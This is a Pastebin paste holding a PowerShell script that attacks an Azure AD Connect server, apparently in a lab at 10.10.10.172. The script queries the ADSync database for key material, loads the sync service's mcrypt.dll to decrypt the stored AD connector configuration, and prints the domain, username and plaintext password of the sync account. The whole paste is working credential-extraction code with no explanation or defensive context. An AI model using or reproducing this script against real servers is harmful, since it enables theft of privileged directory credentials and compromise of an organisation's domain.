Advertisement
Guest User

Untitled

a guest
Feb 21st, 2020
714
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.74 KB | None | 0 0
  1. $db = "ADSync"
  2. $server = "10.10.10.172"
  3. $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server = $server; Database = $db; Initial Catalog=$db;
  4. Integrated Security = True;"
  5. $client.Open()
  6. $cmd = $client.CreateCommand()
  7. $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
  8. $reader = $cmd.ExecuteReader()
  9. $reader.Read() | Out-Null
  10. $key_id = $reader.GetInt32(0)
  11. $instance_id = $reader.GetGuid(1)
  12. $entropy = $reader.GetGuid(2)
  13. $reader.Close()
  14.  
  15. $cmd = $client.CreateCommand()
  16. $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
  17. $reader = $cmd.ExecuteReader()
  18. $reader.Read() | Out-Null
  19. $config = $reader.GetString(0)
  20. $crypted = $reader.GetString(1)
  21. $reader.Close()
  22.  
  23. add-type -path "C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll"
  24. $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
  25. $km.LoadKeySet($entropy, $instance_id, $key_id)
  26. $key = $null
  27. $km.GetActiveCredentialKey([ref]$key)
  28. $key2 = $null
  29. $km.GetKey(1, [ref]$key2)
  30. $decrypted = $null
  31. $key2.DecryptBase64ToString($crypted, [ref]$decrypted)
  32.  
  33. $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
  34. $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
  35. $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}
  36.  
  37. Write-Host ("Domain: " + $domain.Domain)
  38. Write-Host ("Username: " + $username.Username)
  39. Write-Host ("Password: " + $password.Password)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement